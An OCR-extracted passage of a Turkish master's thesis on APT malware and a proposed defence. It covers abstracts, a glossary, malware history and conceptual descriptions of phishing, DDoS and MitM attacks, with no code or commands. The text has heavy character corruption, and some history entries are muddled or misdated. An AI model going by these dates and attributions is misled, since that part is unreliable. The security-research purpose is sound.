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ONSOZ

Hayatimizin her noktasinda yer alan bilgisayarlar, iilkeler veya sirketler icin ¢ok 6nemli veriler
barmdirabilmekte ve iilkelerin kaderini degistirebilecek degisiklikler yapmak ig¢in
kullanilabilmektedir. Rakip organizasyonlar veri calmak veya zarar vermek i¢in yiiksek profilli
siber saldir1 (hacker) gruplar1 olusturmakta ve biiylik fonlar saglamaktadir. Bu gruplarin
olusturdugu; bilinen geleneksel zararli yazilim Onleme mekanizmalarindan higbirine
takilmadan c¢alisan, veri sizdiran ve uzun siire sistemde tespit edilmeden durabilen zararl
yazilimlara APT (Advanced Persistent Threat) denmektedir. Bu yazilimlar ayni saldiriy1
yapabilmek i¢in birden fazla yontemi i¢lerinde barindirirlar, ayak izi birakmadan caligirlar ve
sistemde tespit edilmeleri durumunda kendilerini silebilirler. Imza bazli viriis tarama
yazilimlarina yakalanmazlar ve anomali tespit sistemlerine takilmadan c¢alisabilirler. Bunlara
benzer diger mekanizmalar bir arada diisiiniildiigli zaman tiim APT yazilimlarinda olan benzer
ozellikler ortaya ¢ikmakta ve APT yazilimlart gruplanabilmektedir.

Bilinen en 1yi yontemler beyaz liste (whitelist) teknigi, APT ¢alisma mantigina gore yeniden
diizenlenmis anomali tespit sistemleri ve elle kontrol etmeye olanak veren islem kesif
yazilimlandir.

Bu calismada oncelikle, bir APT yaziliminda olmasi1 gereken ozellikler diistiniilerek APT
anatomisi ¢ikartilacaktir. Daha sonra 6rnek APT yaziliminin gerceklesmesi i¢in gerekli olan
yazilimda olmas1 gereken Ozellikler bahsedilecektir. Bulunan sifir giin (zero day) acigi
tizerinden yetki elde edilip sisteme s1zilmasi, Windows isletim sisteminde bulunan sifreleme ve
sifre ¢ozme Ozellikleri kullanilarak kullanici verilerinin elde edilmesi ve uzak sunucuya
yasallastirilmis yollarla verilerin gonderilmesi siireci anlatilacaktir. Bu o6zellikler ve nasil
yapildig1 g6z oniine alinarak APT zararli yazilimini beyaz liste yontemi ile engelleyen, islem
agaci ve kullanic1 davraniglarini g6z oniine alarak zararli yazilimlan tespit edebilen bir APT
engelleme sistemi tlizerinde durulacaktir.

Bu calismamda bana yol gosteren Dog¢. Dr. Muhammed Ali Aydin hocama, tezime devam
edebilmemi ve bitirmemi saglayan Dog. Dr. Zeynep Giirkas Aydin hocama ve ¢alismalarimda
desteklerini esirgemeyen Ars. Gor. Mehmet Yavuz Yagci hocama ve Ars. Gor. Ebu Yusuf
Giiven hocama tesekkiirlerimi sunarim.

Mayis 2019 Mustafa IPEKBAYRAK
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OZET

YUKSEK LiSANS TEZi

APT YAZILIMI VE APT iLE YAPILAN SALDIRILARA KARSI GUVENLIK
YAZILIMI

Mustafa IPEKBAYRAK

Istanbul Universitesi-Cerrahpasa
Lisansiistii Egitim Enstitiisii

Bilgisayar Miihendisligi Anabilim Dah

Damisman : Dr. Ogr. Uyesi Giilsiim Zeynep GURKAS AYDIN

Tez caligmasinin giris kisminda APT konusunun se¢ilmesinin sebepleri anlatilmistir. Ardindan
APT zararli yazilim1 konusunda yapilan mevcut ¢alismalar incelenmistir. Genel kisimlar
boliimiinde siber giivenlik ile ilgili terimler, glivenlik yazilimlarinin tarihte gelisimi, ve en
popiiler saldir ¢esitlerinden bahsedilmistir. Bunlara ek olarak APT yaziliminin diger yazilimlar
arasindaki yeri ve farkliliklarindan bahsedilmistir. Daha sonra APT zararli yaziliminin ne
oldugu ve yapisi hakkinda detayli bilgi verilmistir. Sonra, APT yazilimlarinin tarihi ve bilinen
giivenlik 6nlemlerine deginilmistir. Malzeme ve yontem kisminda APT saldirilarini daha iyi
anlamak i¢in 6rnek APT saldir1 senaryosu hazirlanmis ve bu senaryolar temel alinarak APT
saldirilarinin zararini azaltabilecek bir giivenli yazilim onerisi sunulmustur. Bulgular kisminda
yapilan gilivenli yazilimin islevi anlatilmis, tartisma ve sonug¢ kisminda olumlu ve olumsuz
kisimlarina deginilerek onerilen giivenli yazilim elestirilmistir.

Mayis 2019, 67 sayfa.

Anahtar kelimeler: gss, gelismis siirekli saldir1, yazilim, siber giivenlik
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SUMMARY

M.Sc. THESIS

AN APT SOFRWARE AND A SECURITY SOFTWARE AGAINST APT
ATTACK

Mustafa IPEKBAYRAK

Istanbul University-Cerrahpasa
Institute of Graduate Studies

Department of Computer Engineering

Supervisor : Assist. Prof. Dr. Giilsiim Zeynep GURKAS AYDIN

In the introduction part of this thesis, the reason of choosing APT threat is explained. Than
current work about APT malware are examined. In the General sections part, terms about cyber
security, development of security software and the most popular attack types are mentioned. In
addition differences and similarities of an APT attack to other attacks are mentioned. And then
datailed explaination is given about what is APT malware and it's structure. Afterwards APT
malware history and known security measures are referred. In the metarial and method section,
an APT attack scenario is prepared to understand APT attack and a security software which
could reduce the harm of APT malware is proposed based given attack scenario. In the results
section, function of proposed security software is explained, while in the discussion and
conclusion section this security software is criticized by mentioned positive and negative sides.

May 2019, 67 pages.

Keywords: apt, advanced persistet threat, sorfware, cyber security
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1. GIRIS

Bu tez calismasinda ilk once siber gilivenlik ile ilgili terimler derlenmis ve aciklamalari
yazilmistir. Daha sonra siber giivenlik tarihinde ortaya ¢ikan zararli yazilimlar ve ¢alisma
yontemleri listelenmistir. Bunlara ek zararli yazilimlarin siiflandirilmast ve bu siniflarin
aciklamalari, birbirinden farkliliklar1 iizerine durulmustur. Ardindan bu siniflandirmalar
arasinda bu tez ¢alismasinin odak noktasi olan APT zararli yaziliminin nerede oldugu iizerine
durulmustur. En sonunda siber gilivenlik tarihindeki giivenlik konsepti ve gilivenlik

yazilimlarinin kisa tarihi tizerine durulmustur.

Yazida APT zararl yazilimlarinin ne oldugu, nasil ¢alistig1 ve nasil engellenebilecegi hakkinda

bilgi verilmekte ve bu kapsamda yapilan ¢aligmalar anlatilmaktadir.

Bu tezin amaci APT yazilimlarinin yapisi ve ¢alisma sekilleri hakkinda gesitli kaynaklardan
toplanan bilgileri derleyerek okuyucuya sunmak ve APT yazilimlarinin verdigi zarar1 en aza

indirmek i¢in gegerli bir savunma ydntemi olusturmaktir.

Calismada ilk 6nce APT zararli yazilimlarinin nasil calistifin1i ve yazilimda kullanilan
yontemleri ortaya koymak adina APT yaziliminin Olgiitleri ortaya ¢ikartilacak ve bu kriterlere
uygun bir zararli yazilimin nasil yapilacagi senaryosu flizerine durulacaktir. Ardindan
olusturulan senaryo adimlarimin gergeklestirilmesi ile ilgili teknik ve teorik bilgiler {izerine

durulacak ve senaryoya uygun bir zararl yazilim gelistirme siireci paylagilacaktir.

En sonunda bu zararli yazilimin gelistirilme asamalari da goz oniinde bulundurularak APT
yazilimlarinin zararini en aza indirmek i¢in yeni bir model onerilecek ve calisip calismadigt

gozlenecektir.

1.1 MOTIVASYON

APT yazilimlari, devletlerin ve biiyiik organizasyonlarin kaderini degistirecek kadar biiytik gii¢
ve dnem tasimaktadir. Bu giine kadar ¢ok biiylik ekonomik kayiplara ve itibar kayiplarma sebep
olmustur. Ayrica APT yazilimlar ile bir¢cok 6nemli organizasyondaki gizli verinin sizdirilmasi
saglanmistir. Ulkemizde APT yazilimlarmn ile ilgili akademik ¢alismalar ¢ok kisithidir. Diinya

genelinde APT yazilimlarindan korunma ile ilgili cok sayida makale yer almaktadir. Cogu



makalede, bir APT yaziliminda olmasi gereken 6zellikler ayrintili anlatilirken neredeyse higbir
makalede bu 6zelliklerin teknik olarak nasil kazanilacaginin anlatildig1 gézlenmemistir. Ayrica
okunan makalelerdeki gilivenlik yazilim 6neri ve bulgular1 arasinda, ¢ogu giivenlik 6nleminin
farki makalelerde tekrar vurgulandigr goriilmiistiir. Ttim bunlar APT yazilimu ile ilgili teknik
bir caligma yapmak i¢in ve en az mevcut 6nerilen giivenlik yazilimlari kadar basarili olabilecek,

yeni bir giivenlik yazilim fikri 6ne siirmek i¢in neden olusturmustur.

1.2 CIKIS NOKTASI
APT yazilimlarmin deneysel ve teorik c¢alisilmasinin yaninda etkisi ve gilicii gbz Oniine
alindiginda ve tlilkemizde bu konu ile ilgili bilgi birikiminin kisitli olmas1 sebebi ile; APT nin

akademik caligma yapmak i¢in ideal bir konu olduguna karar verildi.

APT yazilimlarinin nasil ¢alistiginin daha iyi anlasilabilmesi i¢in bir kaynak olusturulmasi
gerektigi ve APT igin gilivenlik yaziliminin nasil olabilecegi konusunda fikir verebilmek adina

bu konularda ¢alisma yapilmasi uygun goriildii.

1.3 CALISMANIN KAPSAMI

Bu tezde APT yaziliminin nasil olabilecegi konusunda teknik ¢alisma gergeklestirilecektir.
Mevcut makalelerdeki en ¢ok dnerilen giivenlik 6zelliklerinden yola ¢ikilarak yeni bir giivenli
yazilim teknigi gelistirilecek, yapisi agiklanacak ve test edilecektir. Yapilan testlerin sonuglari

paylasilacak ve calismanin daha ne kadar ileri gotiiriilebilecegi {izerinde durulacaktir.
1.3.1 Tez Yazimindaki Motivasyon, Cikis Noktas1 ve Neler Yapilacag:

Bu tez konusunu Stuxnet zararli yazilimmin basarisint ve bu tip yazilimlarin Oniine

gecilememesini, siber giivenlik konusundaki biiyiik bir agik olarak gordiigiim icin secilmistir.

APT saldirilar1 daha iyi anlasilmasi ve bu saldirilardan korunmayi saglayacak daha iyi giivenli
yazilimlar, her seyin sanallastigi diinyada tilkemiz i¢in daha gilivenli internet kullanimin
saglayacakti. Amacim basit ama islevsel bir glivenlik yazilimi ve saldir1 anatomisi ortaya

cikartip iilkemize hizmet etmektir.

Calismada ilk gerceklestirmek istenilen APT saldirisinin fazlar1 ortaya ¢ikartilarak 6rnek bir
APT yazilimi olusturulup, saldir1 asamalar1 ve bu asamalarin nasil yapildigin1 ortaya koyarak

bu agsamalara ne 6nlemler alinabilecegini anlatmaktir.



Gergeklestirmesi amaglanan ana ¢alisma, APT saldirilar i¢in giivenli yazilim olusturup bu

saldirilart engellenmesini ve tespit edilmesini saglamaktir.
1.3.2 Mevcut APT Calismalari

APT ile alakali ¢ok sayida makale ve calisma bulunmaktadir. Baz1 ¢alismalar sadece APT
yaziliminin ne oldugunu agiklarken, bazilar1 testler ve yeni glivenlik 6nlemleri icermekte,

giivenligi arttirmak i¢in detayli saldir1 adimlarini irdelemektedir.
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Sekil 1.1 APT Savunma Y 6ntemlerinin Siniflandirilmasi [1]
Yukardaki tabloda mevcut APT ¢aligsmalara gore savunma yontemlerinin siniflandirilmasi

goriilmektedir.

Bu yazida hazirlanmasi planlanan giivenli yazilimin ¢alisma mantigi, yukarda yer alan

yontemlerden en ¢ok “Giinliik Kayd1 izleme” ydntemine yakindir.



Yapilan literatiir ¢alismasinda APT zararli yazilimina kars1 en etkili yontemlerden birinin beyaz
liste (whitelist) yontemi oldugu goriilmektedir. Anomali temelli izleme sistemleri arasinda
%100 basar1 oranli ¢alisan bir teknige rastlanmamistir. Hem tiim ag {izerinde anomali bazl
tespit yapan hem de lokalde ¢alisan sistem giinliik kaydi izleme 6zelligi olan hibrit sistemlerin
en ylksek basari oranli olduklar1 goriilmiistiir. Viriisiin bulastig1 sistemlerin %90’a yakin
kisminin mizrak oltalama saldirisi ile enfekte oldugu belirlenmistir. APT viriislerinin ortak bir
yasam siireci oldugu tespit edilmis, APT zararli yazilimlarinin biiyliik kisminin hedefe 6zel

yazildiklar1 goriilmiistiir.

Arastirma Yerlesme

Ve Hazirlik

Sizma

EREL

Bilgi Toplama
Sosyal Miihendislik Yetki Yiikseltme

Dogrudan Saldiri Uzaktan Kontrol
Yatay Hareket

o Veri Cikartma
Bilgi Toplama

izleri Silme
Arag Gelistirme

Sekil 1.2 APT Yasam Siireci [2]
APT viriislerinin bulagsmasin1 onlemek yerine veri sizdirmasii 6nleme yontemleri {izerinde
durulmaktadir  ¢linki  viriisiin =~ bulagsmasin1i  engellemenin  miimkiin  olamayacagi
diistiniilmektedir. Ayrica viriisiin bir miktar veriyi sizdirmasinin da oniine gegilemeyecegi
diistiniilmekte ve zarar1 en aza indirme hedeflenmektedir. Bu sebeple sistemler erken tani, alarm

ve anomali tespiti lizerine kurulmaktadir.

APT zararli1 yazilimlari, mevcut imza tabanli glivenlik yazilimlarinin higbirisi tarafindan
yakalanmamakta, detayl1 sistem izleme araclar1 kullanilmadan elle tespit edilememektedir. Bir
zararli yazilimin APT olabilmesi i¢in en az bir sene sistemde duracak sekilde durmasi
planlanmis olmasi1 beklenir. Bu yazilimlarin sitemde yetki yiikseltmek ya da veriyi disar
sizdirmak gibi yapmasi gereken gorevleri yerine getirebilmesi i¢in birden fazla yontem
kullanabilmesi gerekmektedir. Kullandig1 bir yontem ise yaramazsa ya da yaramamaya baslarsa

yontem degistirebilmelidir. Ayrica bazi APT yazilimlar1 uzaktan kontrol edilebilmektedir.



2. GENEL KISIMLAR

Siber giivenlik, her seyin yazilimsal yapilmaya baslandig1 diinyamizda biiyiikk ¢apl
organizasyon ve sirketlerin verilerinin saklanmasi, goriintiilenmesi ve sistemlerin ¢alismasi gibi
kritik islerde kullanildik¢a dnem kazanmistir, ¢linkii yazilimin biiyiikliigi arttikca yazilimla
kontrol edilen ekonomik deger ya da hayati derecede kritik islem biiylikliigli de artar. Bu giine
kadar ¢ok sayida giivenlik &nlemi gelistirildi. Ornegin kullanic1 girisi yapilmasi, yetkilendirme
agisindan bir giivenlik 6nlemidir. Ilerleyen siireglerde, alman giivenlik 6nlemlerinin etkisi
olmadan veriye erisim ya da sistem iizerinde degisiklik yapmak sistemde sunulan yollardan
farkl1 yollarla miimkiin olmustur. Ornegin kullanici girisi sonras1 veri goriintiilemeyi saglayan
ve belli kontroller igeren bir ara yiiziin kurdugu web baglantilar1 izlenip, bu ara yiize ihtiyag
kalmadan ve ara yiiziin izin verdigi sinirlara bagl kalmadan verilerin kotii niyetle kullanilmasi
ya da degistirilmesi saglanabilir. Her ne kadar giivenli yazilim gelistirme protokolii olusturulup
bilinen sistem agiklari i¢in yeni dnlemler alinmigsa bile o kadar yeni acik ve sisteme sizma
teknigi gelistirilmistir. Bu sistemlere sizmak i¢in gelistirilen tekniklerin bir kismi ¢ok bilinen
ve tecrlibesiz yazilimcilar tarafindan gelistirilen sistemlerde ¢alisan genel aciklar olurken bazi
aciklar detayli arastirmalar sonucunda bulunan ve sirketlerin haberdar olmadigi, haberdar
olduklarinda en kisa siirede agig1 kapatip giincelleme yayimlamalarn gerektigi kritik agiklar
olarak degerlendirilmektedir. Yazilimlarin giivenlik a¢1g1 olmasinin yaninda zarar vermek i¢in
yapilan 6zel zararli yazilimlar bulunmaktadir. Bir yazilimsal saldirinin yapilmasini saglamak
ya da kurban bilgisayarda tam kontrol sallamak i¢in kullanilan uzaktan kontrol yazilimlari
bunlardan birkag¢idir. Zararli yazilimlardan en bilinenleri viriisler, Truva atlari, reklam amagl
zararl yazilimlar (adware), uzaktan gizli erisim saglayan yazilimlar (spyware), solucanlardir.
Zararli yazilimlarin amaglarina gore aldiklari isimler degismektedir. Ornegin bir bilgisayar
viriisti, kullanic1 hareketleri ile bilgisayarlara bulasip cogalip sisteme zarar verme amagliyken
solucanlar kendi kendilerine sistemlere sizip ¢ogalip calisma, veri kacirma Ozelliklerine
sahiptir. Giivenlik duvar1 yazilimlari, bilgisayarin hangi portundan veri gelip génderebilecegi
ve hangi yazilimin internete agilip agilamayacag ile ilgili kurallar koyulabilmesini saglayan
internet giivenlik yazilimlaridir. Bu sayede sadece giivenilen yazilimlarin internete baglanmasi
ve bilinen portlarin kullanilmasi kisit1 konmaktadir. Kisitlar ve kurallar arttirildik¢a zararl
yazilimlarla yapilan saldirilar gelistirilmekte ve sofistike hale gelmektedir. Gelismis zararh
yazilimlar giivenlik duvari kurallarina takilmadan yasallagtirilmis yontemlerle veri

kacirabilmektedir. Giivenlik duvari ve anti virlis yazilimlarina ragmen sistemde bulunup



verilerin sizdirilmasini saglayan zararli yazilimlar i¢in gelistirilen bir diger yontem IDS
(Instrusion Detection System) yani ihlal Tespit Sistemi’dir. Bu sistemler anormal ag aktivitesi
gibi gelismis tetikleyiciler kullanarak sistemde ¢alisan zararli yazilimlarin verdigi hasari
azaltma ve durdurma amagh kullanilmaktadir. Sistemlerin giivenligi arttik¢a veri ¢alma ve veri
degistirme amacglh yazilimlarin gizliligi ve sessizligi artmistir. APT yaziliminin bazi 6zellikleri:
ag lizerinde trafik arttig1 zaman c¢alisma, kullanic1 aktivitesini bekleme, ¢cok uzun araliklarla
aktif olma, iz birakmama, kendi kendini imha etme, ayni islemi farkl teknikler ile deneme gibi
geligsmis yontemlerdir. Sirketler, devletler ya da egitimli gruplar tarafindan genis capl yiiksek
ekonomik ya da hayati degeri olan verileri calmak icin gelistirilen yazilimlar ortaya ¢ikmustir.
Bu yazilimlardan en popiileri olan Stuxnet zararli yazilimi, 2010 Haziran ayinda ortaya
cikmustir. ABD ve Israil tarafindan iiretilen viriis, Iran niikleer programina zarar vermek ve veri
calmak iizerine kurulmustur. Bu tarihten beri popiilaritesi artan geligmis sessiz yazilimlara APT
(Advanced Persistent Threat) yani Gelismis Siirekli Tehlike denilmektedir. Bu yazilimlar {i¢
kisimda incelemek istersek Gelismis (Advanced) kismi yazilimin sofistike oldugunu ve ¢ok
egitimli kisi yada kisilerce, ekonomik kaynaklarin kullanilarak olusturuldugunu belirtmektedir.
Yazilim en geligsmis teknik ve sifir giin (zero day) agiklari ile donatilmis ve cogu sistem agigini
icinde barindirmaktadir. Bir sistem istismari bir¢ok yolla yapilabilmekte ve kendisi ile ilgili
sistem giinliik kayitlar1 ya da aktivite izi birakmamaktadir. Siirekli (Persistent) kismi, yazilimin
cok uzun siirelerde sessizce sistemde kalabildigini ve higbir glivenlik araci ile yakalanmadigini
gostermektedir. Anti viriis programlari, giivenlik duvarlar1 ve IDS-IPS gibi gelismis sistemler,
APT zararlh yazilimlari ile miicadele edememekte ve calismalarin1 engelleyememektedirler.
Saldir1 (Threat) kismi, yazilimin zararli oldugunu belirtmektedir. APT yazilimlarinda amag
degerli veri calmak veya sabote etmektir. Anomali tespit sistemlerinin anlayamayacagi yollarla
veri kagirmak, ekonomik ya da hayati zarar verecek uzaktan kontrollii sabotaj yapmak gibi kotii
niyetlerle hazirlanmiglardir. APT yazilimlar belli bir amaca, sirkete ya da kisiye saldirmak i¢in
ozel tretilirler. APT yazilimlarim1i %94’ mizrak oltalama saldirist (spear phishing) ile
bulagmaktadir. Bir sirket ya da organizasyonda bulunan calisanlar arasinda hakkinda en ¢ok
bilgi toplanan ve gonderilecek zararli belgeyi agma olasiligi en ¢ok olan kisiye inanacagi bir
senaryo yazilarak zararli kod igeren belge gonderilir. Kurban bu belgeyi bilgisayarma indirip
calistirdig1 zaman zararli kod ¢alisir ve zararli yazilimin indirilip ¢alistirilmasina sebep olur. Bu
asamadan sonra zararli yazilim, ag iizerinden ya da USB bellekler ile organizasyon igerisinde

farkli sistemlere sizar ve bu sistemlerde veri toplayip disar1 sizdirilmasini saglamaktadir.



2.1 SIBER GUVENLIKLE iLGILi TERIMLER VE ACIKLAMALARI

Saldirgan ve Kurban: Saldirgan, giivenlik zafiyetlerini ve aciklarini kullanarak
hedefindeki sistemde yetki ve erisim saglayip amacina gore bilgi sizdiran ya da sistemi
sabote eden kisidir. Kurban, saldirganin izinsiz yetki sagladig: sistem sahibi kisidir.
Saldiri: Saldirganin hedef sistemde yetki kazanmak, zarar vermek ya da casusluk
yapmak i¢in yaptig1 islemdir.

Aldatma Saldiris1 (Spoofing): Sahte ara yiiz, IP ya da konum verileri kullanarak
kurban kullanic1 ya da sistemlerin giivenini kazanip bilgilerini vermeleri, verilerini
gondermelerine dayanan saldir1 terimidir.

Zafiyet ya da Giivenlik A¢i1g1 (Vulnerability): Bir yazilimda sisteme sizilmasini ya da
sistemde istenmeyen islem yapilmasini saglayan yetkilendirme veya izin hatasi.
Tehdit (Threat): Zararl yazilim, ve bu yazilimla yapilabilinecek zararli islem.
Istismar (Exploit): Giivenlik agiginin kullanimini saglayan zararh kod ya da betik [3].
Sifir Giin Aqig1 (Zero Day Exploit): Bir yazilimla ilgili kritik bir giivenlik acgigiyla
ilgilidir. Bu O6yle bir acik ki en kisa siirede giincelleme yayinlanmali ve bu agik
kapatilmalidir yoksa ¢ok tehlikelidir.

Sanal Ozel Ag (VPN Virtual Private Network) [3]: Ag trafiginin sifrelenip kullanici
konumunun gizlenmesi ile internet iizerinde anonim gezinmeyi saglayan bir aractir.
Thlal (Breach): Siber saldirganin saldirdig1 bilgisayarda yetki kazanarak dosya ve aga
erisebilmesidir.

Giivenlik Duvari (Firewall): Yazilim ya da donanim tabanli ¢alisan ve istenmeyen
baglantilari, IP adreslerini ve portlar1 engellemeye yarayan sistemdir.

Anti viriis: Isletim sistemi {izerine kurularak calisan ve sistemde ger¢ek zamanli dosya
taramasi veya genel dosya taramasi yaparak zararli kod iceren dosyalan tespit edip
caligmasina engel olan glivenlik yazilimidir.

Enjeksiyon (Injection): Zararli kodun yliriitiilebilir kod igerisine yerlestirilmesidir. Bu
sayede yiiriitiilebilir kod ¢alistirildiginda zararli kod ta galigtirilir.

Ping: Adi, masa tenisi topundan gelmektedir. Bir sunucudan bagka bir sunucuya
sunucunun ayakta oldugundan emin olmak i¢in gonderilen mesajdir. Karsidan cevap
gelir.

Fragmantasyon (Fragmentation): Verilerin pargalara ayrilmasina denir. Genelde ag

paketlerinin parcgalara ayrilmasindan bahsederken kullanilir.



¢ Bant Genisligi (Bandwidth): Belli bir veri yolu ya da haberlesme ortaminin maksimum
veri gonderme veya alma kapasitesidir. Veri gonderme hizi olarak ta diisiiniilebilir.

e Istemci (Client) ve Sunucu (Server): Sunucu, servislerin ¢alistig1, verinin barmdig
bilgisayardir. Istemci ise bu verileri talep eden ve uzak hizmetleri kullanan bilgisayardir.

e Ozetleme (Hash): Ozetleme anlamina gelmektedir. Ozetleme fonksiyonlari, herhangi
bir uzunluktaki metinlerin dijital 6zetini ¢ikartip belli karakter sayisina diisiirmeye ve
bu sayede metinin dijital imzasini1 olusturmaya yarar. Yani metinde bir degisiklik
gerceklesirse ozet degisecegi icin metnin degistirildigi anlasilabilir. Ozetleme
fonksiyonu veri gizlemeye de yarar ama sifrelemenin aksine veriyi geri getirme imkan
yoktur. Bir 6zet birden fazla metne ait olabilir.

e Betik (Script): Derleyici yerine yorumlayici tarafindan calistirilan programlama
kodudur. Makina diline doniistiiriilmez. Yorumlayici, betigi okur ve gerekli islemleri
caligma zamaninda gerceklestirir.

e Cerezler (Cookie): Web siteleri tarafindan tarayici veri tabanina kaydedilen verilerdir.
Bu veriler sayesinde kullanicinin sitede yaptigi islemler site tarafindan hatirlanir.

e Klavye Kaydi Tutucu (Keylogger): Kullanicinin klavye ile yaptigi tusa basma

islemlerinin tamaminin kaydedilmesini saglayan bir yazilimdir.

2.2 TARIHTE GUVENLIiK KONSEPTI
1967 de RAND sirketi ve Ulusal Giivenlik Ajansi ilk kez zararli yazilimlar ile ilgili yaygin

uygulamalar ve engellenmesi i¢in ¢ok katmanli bilgisayar giivenligi ile ilgili calisma yayimladi

[4].

Bilinen ilk anti virlis programi, bilinen ilk virlis olan Creeper Viriisiinii silmek i¢in Ray
Tomlinson tarafindan tasarlanan The Reaper yazilimidir [5]. Bilgisayar viriisii terimini ortaya

ilk atan kisi 1983 yilinda Fred Cohen’dir. Terimi yazdig1 akademik makalede kullanmistir.
Internet yayginlasmadan énceki donemde bilgisayar viriisleri disket iizerinden yayilmustir.

Bernd Fix tarafindan Vienna Viriis isimli zararli yazilimin silinmesi i¢in 1987 de ilk resmi anti
virlislerden biri gelistirildi. Benzer Zamanlarda da Atari Corporation 1985 yilinda G Data Anti

virlis yazilimini gelistirmistir [6].



Yakin zamanda UTM biitiinlesik giivenlik sistemleri, cok boyutlu giivenlik yazilimlar1 olarak
tercih edilmektedir. Anti viriis, giivenlik duvari, IDS, kullanici takip, beyaz liste, siyah liste gibi
givenlik Onlemlerinin tamami tek bir sistem {izerinden gdzlemlenebilmekte ve

yonetilebilmektedir [7].

Verilerin giivenligi ve sistemdeki olaylar ile ilgili olan ve APT viriislerine karsi en ¢ok ise
yarama ihtimali olan sistemler bilgi gilivenligi ve olay yonetim sistemi (SIEM, Security
Information and Event Management) sistemleridir. Bu sistemler, bilgisayarda yasanan tiim
olaylarin kaydin1 tutmakta, kategorize etmekte ve iliskilendirmektedir. Olast tehlike
durumlarinda sistem yoneticisini bilgilendirmek i¢in alarm 6zellikleri vardir. Olay kaydi tutma
ve bu kaylar iizerinden anlamli veri ¢ikartma tabanlidir. Her ne kadar APT saldirilarini 6nlemek

icin SIEM mekanizmalari 6nerilse de bu sistemler yilizde yiiz sonu¢ vermemektedir [8].

2.3 TARIHTE ZARARLI YAZILIMLAR [9]

e 1966 Von Neumann, self producing automata isimli bir makale yayimlada.

1971 Bob Thomas, TENEX isletim isteminde ¢ogalip sistemi ¢Okerten bir yazilim yazdi.
Daha sonra viriisii silen yazilim yapti. 1974 Wabbit isimli ¢ogalip sistemi ¢okerten sistem
gelistirildi. Bu yazilim bilinen ilk viriis olarak kabul edilmektedir. Adi1 Creeper Virus olarak
gecmektedir [5]. Bu viriis ARPANET iizerinden yayilmistir [6].

e 1974/75 yilarinda Jhon Walker kotli amagli olmayan trojan gelistirdi. Jhon Bunner,
bilgisayar aginda gezen yazilima ilk kez solucan adini verdi. 1981 de Apple II bilgisayarda
ilk kez toplu ¢6kmeye sebep olan Elk Viriisii gelistirildi.

e 1986 Pakistan’da ilk IBM i¢in Brain Boot Selector viriisii gelistirildi.

e 1987 de calistirilabilir dosyalara bulasabilen ¢ok sayida viriis gelistirildi. 1992 de viriis
cesidi 1300’1 gecti.

e 1995’te MS Word belgelerinde yer alan Concept viriisii yayildi.

e 1996’da Excel belgelerine yayilan Laroux viriisii ¢ikt1.

e 1998 de iki kisi 500 den fazla devlet bilgisayarini kontrol edebilen viriis gelistirdi.

e 1999°da mail ile bulasan ve yayilan Happy99 viriisii ¢ikti.

e 2002 de Shockwave Flash dosyalarini etkileyen LFM-926 viriisii ¢ikti. RAT viriisii tiim

Windows sistemlerde arka kap1 acabilen bir trojandi.

e 2003 yilinda en hizli yayilan Slammer viriisii ¢ikti. Dakikada 75.000 PC ele gegirdi.
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2.4 EN COK BILINEN SALDIRI CESITLERI [10]
2.4.1 Oltalama Saldiris1 (Phishing Attack)

Giivenilir kaynaktan gonderilmis gibi goriinen eposta gondererek karsi taraftan bilgi almaya
caligmaktir. E-mailin i¢inden viriis ¢ikma ihtimali bulunmaktadir. Dolandirma amacl kurulmus
bir web sitesinde indirilmesi i¢in tesvik edilen bir dosyadan da zararli yazilim ¢ikabilir. Bu da

oltalama saldiris1 i¢ine girmektedir.
2.4.2 Mizrak Oltalama Saldiris1 (Spear Phishing Attack)

Bu tiir saldirilar tamamen kisiye yoneliktir. Hedef belli olur ve hedef hakkinda arastirmalar
yapilir. Ona gore bir mail hazirlanir. Bir diger yontem mail aldatma saldiris1 (mail spoofing )
yontemidir. Mailin gonderen kisi kisminda kurbanin tanidig1 bildigi bir e-mail adresi yazar. Bir
diger yontem de kurbanin sik kullandig1 web sitesini kopyalamak ve kurban hakkinda bu site

tizerinden bilgi toplamaktir.
2.4.3 Dagitik Servis Dis1 Birakma Saldiris1 (DDoS)

Bu tip saldirilarda saldirgan direkt olarak bir fayda saglamamakta ve sistemde yetkisini
arttirma amagli bir ¢aligma yapmamaktir. Genelde servisi devre dis1 birakma siiresinde doyuma
ulagsmak ya da servisin kapanmasini saglamak saldirty1 bitirir. Servisin ¢okertilmesi ardindan
yeni bir saldir1 ya da farkli bir yaklasim deneme amaghi da bu tip saldirilar uygulanabilir. DDoS

saldirisinin da ¢esitleri vardir.

TCP SYN Tasirma Saldiris1 (Flood Attack): Bu saldirinin amaci TCP protokoliinde

kullanilan ara bellegi doldurmak, bdylece yeni baglantilar kurulmasin1 engellemektir.

Gozyas1 Saldiris1 (Teardrop Attack): IP paketlerindeki sinir alanlarinin tagip paketlerin st

iste binmesine sebep olur.

Sirin Saldiris1 (Smurf Attack): IP Spoofing igeren bu saldiri, yerel agdaki kurban IP adresinin
kullanilarak yayin yapilmasi (broadcast) ve bu yaymin ardindan agdaki tiim sistemlerin cevap
vermesi lizerine dayalidir. Tekrarlanabilen bu islem, kurban bilgisayarin agdaki tiim

bilgisayarlar tarafindan siirekli veriye maruz birakilmasi ile gerceklestirilir.
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Oliim Pingi Saldiris1 (Ping of Death Attack): Bu saldirida IP paketinin olmas1 gereckenden
daha biiyiik veri paketleri ping olarak pargalara ayrilarak gonderilir. Karsidaki bilgisayar bu
paketleri toplarken bellek tasmasi sorunu yasar ve sistem ¢oker. Bu saldir1 giivenlik duvari

kullanilarak asilabilir.

Botnets: Hacker tarafindan ele gecirilen sistemlere bot ya da zombi sistem denir. Birgok farkli
cografik konumdan bot sistem ele gecirilebilir. Tiim bu sistemlerle tek bir sisteme erisim
saglanmaya calisildiginda erisim saglanmak istenen sistem bant genisligi (bandwidth)
yetersizligi sebebiyle erisilmez hale gelir. RFC3704 filtresi ya da Kara Delik (Black Hole)

filtresi ile etkisiz hale getirilebilinir.
2.4.4 Ortadaki Adam Saldiris1 (Man In The Middle Attack MitM)
Bu saldirida saldirgan istemci ve sunucu arasindaki iletisim hattina girer.

Oturum Calma (Session Hijacking): Birbiri ile haberlesen istemci ve sunucu olsun. Saldirida
ilk dnce saldirgan, istemciyi saf dis1 birakir. Bu saf dis1 birakma DoS saldirisi ile yapilabilir.
Daha sonra saldirgan saf dis1 birakilan bilgisayarin IP adresini kendi IP adresi gibi gosterir.

Islemci gibi goriinerek sunucu ile haberlesmeye devam edilmesini saglar.

Sahte IP Saldiris1 (IP Spoofing Attack): Bu saldirida saldirgan, istemcinin IP adresini
kullanarak sunucuya paket gonderir. Sunucu bu paketin istemciden geldigini sanarak ona gore

islem yapar.

